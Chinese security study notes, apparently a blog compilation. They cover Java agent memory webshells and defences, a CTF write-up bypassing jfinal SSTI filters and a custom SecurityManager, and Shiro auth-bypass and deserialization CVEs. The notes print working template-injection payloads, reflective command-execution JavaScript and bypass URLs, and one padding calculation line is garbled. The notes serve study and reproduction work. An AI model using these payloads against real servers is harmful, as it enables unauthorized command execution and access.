这里的版本兼容问题与注入controller类似,都需要考虑容器和注解映射器。不同的是,在添加拦截器时,我们不需要去考虑方法级别的兼容,可以说不涉及到方法的调用,我们只需要去往AbstractHandlerMapping(即RequestMappingHandlerMapping和DefaultAnnotationHandlerMapping的n层父类)的adaptedInterceptors字段去注入拦截器对象即可。

这里有个坑点,在3.1.0以上的版本中,adaptedInterceptors字段引用类型为List,3.1.0以下的版本的adaptedInterceptors字段引用类型为HandlerInterceptor数组,写的时候没注意这点导致被坑了好久。这里想吐槽一下jdk给出的报错信息,反射设置对象时,传入的字段值与字段实际引用类型不相符的时候,抛出的异常是cannot set field of xxx to null,也就是说jdk把我们传入的错误类型变成了null,有点坑。

agent

基于agent实现的内存马我认为是众多内存马实现方式中最为通用的一个。上文在写spring内存马的时候提到了很多兼容性问题,不同版本的springmvc提供的api不太相同,导致我们需要去处理非常繁杂的版本兼容问题。如果目标系统没有使用spring框架,那么我们就有些束手无策。不过,你当然可以试试植入tomcat的内存马,但是这样做仍然只是治标不治本。说到底,就是内存马植入与目标系统的实现耦合在了一起。相比之下,基于agent的内存马具有两点好处

  1. 不依赖于具体web服务器实现,无论是tomcat、jetty还是undertow,都可以通吃
  2. 不依赖于具体web框架,无论使原生servlet写的网站还是使用了spring框架,都可以通吃

有了这两点好处,使得基于agent实现的内存马非常通用,再也不需要考虑目标系统的框架、版本、服务器等问题。

实现原理

agent内存马的实现离不开两大技术,一是JVM Instrumentation,二是字节码修改库

JVM Instrumentation是java语言提供的一种api,它给编程者提供了一系列操控、监视jvm的接口。我们在内存马的实现过程中,主要用到的功能就是,书写类加载的回调函数,当触发类加载需要读取类的字节码时,执行我们的回调函数,我们在回调函数中对字节码做修改,加上我们的恶意代码,然后再返回给类加载器进行加载。同时,我们还可以手动调用api,触发已经加载类的重新加载。

实际上这里说到的JVM Instrumentation的原理还是比较粗浅的,不太准确,详细请参看javaagent那篇文章。

字节码修改库比较出名的有两种,asm和javaassist。前面提到了我们需要在类加载的回调函数中修改字节码,这项工作如果要我们自行编程实现是非常复杂的,所以我们需要借助工具。这里主要用到javaassist,我们只需要将我们想添加的java源代码准备好,传给javaassist的api,他就可以帮我们实现代码植入的功能。

有了这两大技术,就可以来梳理一下内存马的实现逻辑

  1. 找到目标jvm进程,注入agent
  2. 创建ClassFileTransformer,准备好回调函数
  3. 手动触发要修改的类重新加载
  4. 触发ClassFileTransformer的回调函数
  5. 使用字节码修改工具修改字节码,添加恶意代码
  6. 返回修改后的字节码给类加载器,完成类加载

工具源码阅读

在学习过程中,掌握了JVM Instrumentation和字节码修改库基本使用之后,就可以去看看现存工具的源码实现。我看到两个比较不错的植入agent内存马的工具,一是rebeyond师傅的memShell,二是三梦师傅的ZhouYu

前者出现的非常早,四年前rebeyond师傅就开始玩内存马了,可以说是这方面的先驱。当然,因为比较早出现,所以其中还是会存在一些小问题。

后者比较新,也积累了前人的经验做了一些改进,最明显的就是将恶意代码植入jar包和防止后续agent加载

通过这些工具源码的阅读,基本上也就对agent类型内存马注入方式了解的七七八八了。

防御思路

  • 针对需要调用方法注入内存马的类型(如servlet),可以hook对应的方法来防注入。弊端是容易被绕过,像filter这类不需要调用方法注入的就能绕过,而且容易hook不全。

  • 找磁盘文件,如果没有磁盘文件落地,很可能是内存马。缺点是可以通过重写getResource方法进行绕过。

  • 使用sa-jdi.jar找出可能是内存马的类,然后用dumpclass dump出来审计。然后再写一个agent将内存马类转换为磁盘上原来的类即可。这种情况主要是针对agent类型的字节码。

如果肯话费人工审计的成本,可以使用三梦师傅写的copagent来减轻人工审计的工作量。贴一下我阅读copagent源码时总结的流程图

image-20211101170524118

参考文章

Tomcat之Servlet内存马

基于tomcat的内存 Webshell 无文件攻击技术

JavaWeb 内存马一周目通关攻略

Java Instrumentation

memShell

ZhouYu

dumpclass

copagent

Unsecure Blog

这道题主要有两个考点是比较难的,分别是绕过ssti和Security Manager。前面的部分比较简单,弱密码111111进入后台,然后审计代码发现修改博客这里的预览功能存在ssti。对应于com.jfinal.app.blog._admin.blog.BlogAdminController::preview方法

image-20211020162518238

SSTI绕过

jfinal自带的模板引擎虽然宣称可以像写java代码一样去写模板,但是在模板中还是存在安全防护的。比如一些敏感的方法是不允许被调用的。黑名单如下,定义在com.jfinal.template.expr.ast.MethodKit

String[] ms = new String[]{"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"};

针对以上黑名单的过滤,结合题目的依赖,可以发现两种绕过姿势。

一是利用了ehcache依赖,使用net.sf.ehcache.util.ClassLoaderUtil::createNewInstance方法实现危险类的实例化。这个方法的作用是根据给定的类名去创建一个该类的对象,比如我们可以创建一个ScriptEngineManager对象,进而拿到js引擎,来实现任意js代码执行,下面第二种方法的最终目的也是拿到这个js引擎对象。

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js")) 
#(e.eval(jscode))

二是利用fastjson依赖,这种方法太骚了,手动设置autoTypeSupport为true(否则fastjson无法反序列化ScriptEngineManager),然后就可以反序列化自己想要的对象了

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

Security Manager绕过

绕过ssti后,已经可以执行js代码了,但是本题还存在Security Manager的限制,导致代码执行起来没有那么得心应手。Security Manager的介绍请看这篇文章(绝对的良心好文)。文章中详细介绍了sm及绕过方式,是基于java代码层面的,本题中是需要通过js代码来进行绕过,不过绕过的核心思想都是一样的。

/*    */ package com.jfinal.app.security;
/*    */ 
/*    */ import java.security.Permission;
/*    */ 
/*    */ 
/*    */ 
/*    */ 
/*    */ public class ForbiddenSecurityManager
/*    */ {
/*    */   public static void setSecurityManager() {
/* 11 */     SecurityManager oldSecurityManager = System.getSecurityManager();
/* 12 */     if (oldSecurityManager == null) {
/* 13 */       SecurityManager execSecurityManager = new SecurityManager() {
/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm) {
/* 35 */             check(perm);
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm, Object context) {
/* 40 */             check(perm);
/*    */           }
/*    */         };
/* 43 */       System.setSecurityManager(execSecurityManager);
/*    */     } 
/*    */   }
/*    */ }

这题能用的姿势是直接使用反射调用ProcessImpl::start(即Runtime::exec的底层实现),其他的我也有尝试,后来发现唯有以下这种能行得通。

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

后话

到这里这题也就基本结束了,能rce了之后就是简单的导出注册表然后就拿到flag了。但是在此之后我尝试自己构造一些别的绕过sm的js代码,结果是都失败了。

下面列举出一些失败的尝试,避免跟我一样走弯路。

首先是使用反射设置所有栈桢的ProtectionDomain的hasAllPerm属性为true。

var stackTraceElements=java.lang.Thread.currentThread().getStackTrace();
for(var i=0;i<stackTraceElements.length;i++){
    try{
        var stackTraceElement=stackTraceElements[i];
        var clz = java.lang.Class.forName(stackTraceElement.getClassName());
        var getProtectionDomain = clz.getClass().getDeclaredMethod('getProtectionDomain0', null);
        getProtectionDomain.setAccessible(true);
        var pd = getProtectionDomain.invoke(clz);
        if (pd!=null){
            var field = pd.getClass().getDeclaredField('hasAllPerm');
            field.setAccessible(true);
            field.set(pd, true);
        }
    }catch(e){}
}
java.lang.Runtime.getRuntime().exec('calc');

构造完之后一打,发现得到了这样的报错,很明显是被sm拦了下来。

image-20211020210741819

仔细看题目自定义的sm就会发现,题目环境跟上面推荐的博客的实验环境是有差别的。博客的实验环境通过命令行来配置sm,使用的是jdk自带的sm实现,在他的checkPermission方法中调用了java.security.AccessController::checkPermission,这个方法就会自顶向下去检查各个栈桢的ProtectionDomain,是否满足权限,包括会去处理doPrivileged。

然而这题使用的是自定义的sm,它重写了checkPermission方法,并没有去调用java.security.AccessController::checkPermission,而是统一调用自己写的check方法,完全不涉及到遍历栈桢检查权限的问题。所以我们这样去修改栈桢权限是根本没用的。当执行java.lang.Runtime.getRuntime().exec('calc');时,触发check函数,走到if (actions != null && actions.contains("execute"))分支,就挂了

/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }

此外,通过类加载器来绕过sm的思路也是行不通。它的思想是写一个类加载器去加载恶意类EvilClass,然后给这个类赋予所有权限,然后再在这个类中去调用AccessController.doPrivileged。因为调用了doPrivileged,所以检查权限时到EvilClass就会截至,而EvilClass拥有所有权限,所以能绕过。

然而,就如上面的分析,这里使用的不是jdk自带的sm,用原来的绕过方式是行不通的。

public class EvilClass {
    public EvilClass() {
    }

    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process var1 = Runtime.getRuntime().exec("calc");
                    return null;
                } catch (Exception var2) {
                    var2.printStackTrace();
                    return null;
                }
            }
        });
    }
}

那么反射调用ProcessImpl::start为什么可以打通呢?

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

debug看看使用这种打法会触发什么权限检查

调用getDeclaredMethod时,会触发RuntimePermission的检查

image-20211020212451716

在调用setAccessible时,会触发ReflectPermission的检查

image-20211020212725141

回看一下题目环境中的check函数,RuntimePermission有处理,不过只ban掉了name包含setSecurityManager的情况。我们这里name是accessDeclaredMembers,所以不会被ban。而ReflectPermission就更舒服了,压根没限制。因此这种直接反射调用ProcessImpl::start的打法就奏效了

参考文章

java沙箱绕过

前段时间跟完了shiro550和721两个经典的反序列化漏洞,想把shiro学的更全面一些,于是接着来跟一下shiro的权限绕过。本文是参考xq17师傅的文章进行复现,仅做一些补充和个人记录。以下cve如无特殊说明,均是在springboot1.5.22.RELEASE版本下进行。

<=1.4.2

原理概述

/hello/*的拦截规则无法拦截/hello/1/,而/hello/1/能够获取/hello/1一样的资源

payload

/hello/1为受限资源

/hello/1/

CVE-2020-1957

利用条件

  1. shiro<=1.5.1
  2. spring版本最好为1.x.x

原理概述

这个漏洞的是由于shiro和spring处理的请求路径不一致造成的,shiro在处理请求时将;后面的路径都忽略,然后取得对应的过滤器进行拦截。spring处理请求时则不会将;后面的路径忽略,并且会解析..

在1.5.2版本的修复中可以发现,shiro将处理路径的代码与spring进行了统一。

payload

/fsdf;/../hello/1111
/fsdf/..;/a;aaa;a/..;/hello/1

注意事项

  1. 复现时注意springboot版本,低版本会对路径中的..进行解析处理,高版本则不会。

  2. 复现时尽量使用bp抓包更改路径。比如如下payload

    /fsdf;/../hello/1231
    

    直接使用火狐请求这个路径无法绕过,而使用bp则可以。原因是浏览器自作聪明的帮我们解析了..导致payload无效。

    使用火狐发送上面的payload,bp抓包得到的是。可以发现,..被浏览器解析了。

    image-20210817124811289

    直接在bp改包即可成功

    image-20210817124758774

CVE-2020-11989

利用条件

  1. shiro<=1.5.2
  2. 方式1需要接口接收String类型的参数
  3. 方式1要求路径限制为*,不能是**
  4. 方式2需要项目配置context-path

原理概述

方式一是由于shiro在处理请求路径时会双url解码,比如/shiro/hello/luanxie%25%32%661 被解码成了/shiro/hello/luanxie/1,这个路径不会被拦截。而spring在解析时仅进行了一次url解码,得到的就是/shiro/hello/luanxie%2f1,实现绕过。

在说方式二之前,与1.5.1做一个衔接。为了修复1.5.1的漏洞,shiro将url的处理方式与spring进行了统一,改成了如下方式。但是在request.getContextPath()中出现了问题,这个函数的作用就是得到context-path,但是在获取过程中没有做特殊处理,传入/;/shiro/hello/hi,直接返回了/;/shiro。接下来的原因就跟1.5.1的漏洞相同了,;后的路径直接被shiro截断,导致了绕过。

public static String getRequestUri(HttpServletRequest request) {
    String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
    if (uri == null) {
    uri = valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo());
    }

    return normalize(decodeAndCleanUriString(request, uri));
}

payload

方式一

#shiro是context-path,没有设置可以不写。这里为了和方式二共用一个环境所以设置了
/shiro/hello/luanxie%25%32%661 

方式二

/;/shiro/hello/hi

CVE-2020-13933

利用条件

  1. shiro<=1.5.3
  2. 路径限制为*,不能是**

原理概述

首先getPathWithinApplication会先把/hello/%3b123处理成/hello/(即删除;后面的内容)

getChain函数在处理路径时,会将末尾的/删除,而/hello/*这种通配符不能匹配/hello,就导致了绕过。

image-20210817151631955

如果不将;进行编码,spring在处理时会把;后面的内容忽略,得到的是/hello/,无法与/hello/*的控制器方法匹配

image-20210817154532477

注意点

前面讨论CVE-2020-1957时我们说spring处理请求时则不会将;后面的路径忽略,并且会解析..,而这里我们又说spring会将;后面的路径忽略,下面具体看一下源码究竟是怎么回事。

在spring解析路径准备找controller处理请求时,会调用UrlPathHelper:getPathWithinServletMapping。只需要搞明白这个函数上面的问题就能理解了。这个函数的作用可以简单的理解成返回请求路径。

image-20210817161056714

看看CVE-2020-1957,我们发送payload/fsdf;/../hello/1111

断点停在UrlPathHelper:getPathWithinServletMapping,这个函数的返回的是servletPath,它是通过this.getServletPath(request);获取的

image-20210817162855954

这个getServletPath(request)底层就是调用了servlet的实现得到请求路径,会处理..;,得到的最终结果是/hello/1111

image-20210817162530415

再看看正在分析的CVE-2020-13933,如果不将;进行编码,发送payload/hello/;123UrlPathHelper:getPathWithinServletMapping获取到的路径就是是/hello/,将通过这个路径去找对应的Controller方法。

总结一下就是,如果;..同时出现,将不会忽略掉;后面的内容,而是先解析..。如果单独出现;,则会忽略它后面的内容。

payload

/hello/%3b123

CVE-2020-17523

利用条件

  1. shiro<=1.6.0
  2. 方式二的利用条件是springboot开启了全路径模式,springboot>=2.3.0RELEASE默认开启了该模式

原理概述

方式一是利用了shiro在拆分请求路径时的问题,/hello/{空格}被拆分成了hello,空格被忽略了。导致/hello/*无法匹配/hello。而spring却能正确拆分/hello/{空格},进而正确解析该请求,从而实现了绕过。

方式二是由于shiro在处理请求路径时,调用getServletPath(),它会解析...使得如下payload发生变化,然后末尾的/又会被删除,导致/hello/*无法匹配/hello,实现绕过。

/hello/%2e  ->  /hello/
/hello/%2e/  ->  /hello/
/hello/%2e%2e/  ->  /

payload

方式一

/hello/%20

方式二

/hello/%2e
/hello/%2e/
/hello/%2e%2e/

参考文章

Shiro 权限绕过的历史线(上)

Shiro权限绕过漏洞分析(CVE-2020-1957)

shiro550

利用条件

  1. shiro<=1.2.4

shiro550这个反序列化漏洞整体逻辑比较简单。详细分析参考H0t-A1r-B4llo0n师傅的文章,写得非常通俗易懂,非常详细。

这里进行简单总结

shiro在用户成功登录并且要求rememberMe的情况下,会将principals(可看作是用户名)记录到cookie中。在记录时,并非明文存储,而是经过了序列化->aes加密->base64编码然后再存到cookie中。

问题就出在aes加密,因为它的密钥是以静态变量的形式定义在了代码中,是写死的,如果用户不进行修改,那么就可以伪造rememberMe这个cookie。

然后,在服务器接收到请求时,会先检查rememberMe,如果不为空且不等于”deleteMe”,则会尝试base64解码->aes解密->反序列化。前面我们已经能拿到aes密钥,能伪造rememberMe,那这里就相当于拥有了一个反序列化的入口了,下面就可以尝试各种反序列化poc了。

shiro721

利用条件

  1. shiro<=1.4.1

721生成密钥的方式

首先看看721和550有什么区别,前面我们知道550的密钥是以硬编码的形式写在了代码中。那么721的做法是怎样的呢?

根据如下的调用栈可以看出,721的密钥采用了随机函数生成,修复了550的漏洞。

engineGenerateKey:115, AESKeyGenerator (com.sun.crypto.provider)
generateKey:546, KeyGenerator (javax.crypto)
generateNewKey:62, AbstractSymmetricCipherService (org.apache.shiro.crypto)
generateNewKey:43, AbstractSymmetricCipherService (org.apache.shiro.crypto)
<init>:99, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:76, DefaultWebSecurityManager (org.apache.shiro.web.mgt)

image-20210816143634402

具体流程

721相对550来说涉及到的知识点更广,需要对密码学知识有一定的了解理解起来才会比较轻松。由于我们不再能像550那样直接得到密钥,所以要想伪造cookie就需要使用更复杂的攻击手段,其中涉及到了padding oracle和cbc翻转攻击。核心的公式就如下两个,不过理解起来还是比较费劲的。

∵  FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴  MediumValue[8]   =   FuzzIV[8]   ^   0x01
∵  PlainText(n+1) = CipherText(n) ^ Block_Cipher_Decryption(C(n+1))
∴  CipherText(n) = PlainText(n+1) ^ Block_Cipher_Decryption(C(n+1))

具体的流程参考H0t-A1r-B4llo0n师傅,分为两篇。

这里仅记录一些我认为有问题的点。

上篇

首先是在上中padding oracle的分析中,对于每一个分组的最后一个字节的爆破(即MediumValue[8],假设每组大小为8)。根据下面这个公式,IV是已知的,我们只需要得到正确的FuzzIV[8]即可得到MediumValue[8]

∵   FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴   MediumValue[8]   =   FuzzIV[8]   ^   0x01

但是实际上并没有这么简单,因为我们无法确保padding正确时,PlainText[8]一定是0x01。就比如如下测试,我们按照从0到255的顺序遍历FuzzIV[8]

def xor(a,b):
    a=[int(i,16) for i in a.split(" ")]
    b=[int(i,16) for i in b.split(" ")]
    s=""
    for i in range(len(a)):
        s+=hex(a[i]^b[i])+" "
    return s

fuzziv="0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01"

iv="0x39 0x73 0x23 0x32 0x5A 0x3B 0x00 0x04"
MediumValue="0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"

print "plain: "+xor(iv,MediumValue)


for i in range(0,256):
    fuzz = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 %s"%hex(i)
    print xor(fuzz,MediumValue)

当FuzzIV[8]=0x04时,计算结果如下。很明显,这是正确的padding。然而FuzzIV[8] ^ MediumValue[8] = 0x02而不是0x01

FuzzIV = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x04"
MediumValue = "0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"
FuzzIV ^ MediumValue = 0x29 0x34 0x5a 0x6b 0x7 0x0 0x2 0x2

如果此时,我们使用如下公式来计算MediumValue[8],那就出大错了。

MediumValue[8]   =   FuzzIV[8]   ^   0x01

那么正确的做法应该是怎样的呢?查看python paddingoracle模块作者的做法就明白了,在paddingoracle.py的bust函数中。作者使用了重试的做法来解决这个问题,只要某一个FuzzIV[8]可以使padding正确,就尝试继续往下爆破,如果走不通,再回来重新爆破FuzzIV[8],重新爆破时,是从上一次错误的位置开始的。这里有一个疑问,如果FuzzIV[8]错误了,并且继续爆破的时候一错再错,会不会导致算错误?这个问题暂且放这,不在深究。

下篇

作者此处的计算是有问题的,正确算法如下

pad = block_size - (len(plaintext) % block_size)
pad = 16-(279%16)=16=7=9

image-20210816141235550

参考文章

CVE-2016-4437 Shiro550 ( Apache Shiro RememberMe 1.2.4 反序列化漏洞 ) 分析

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-上

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-下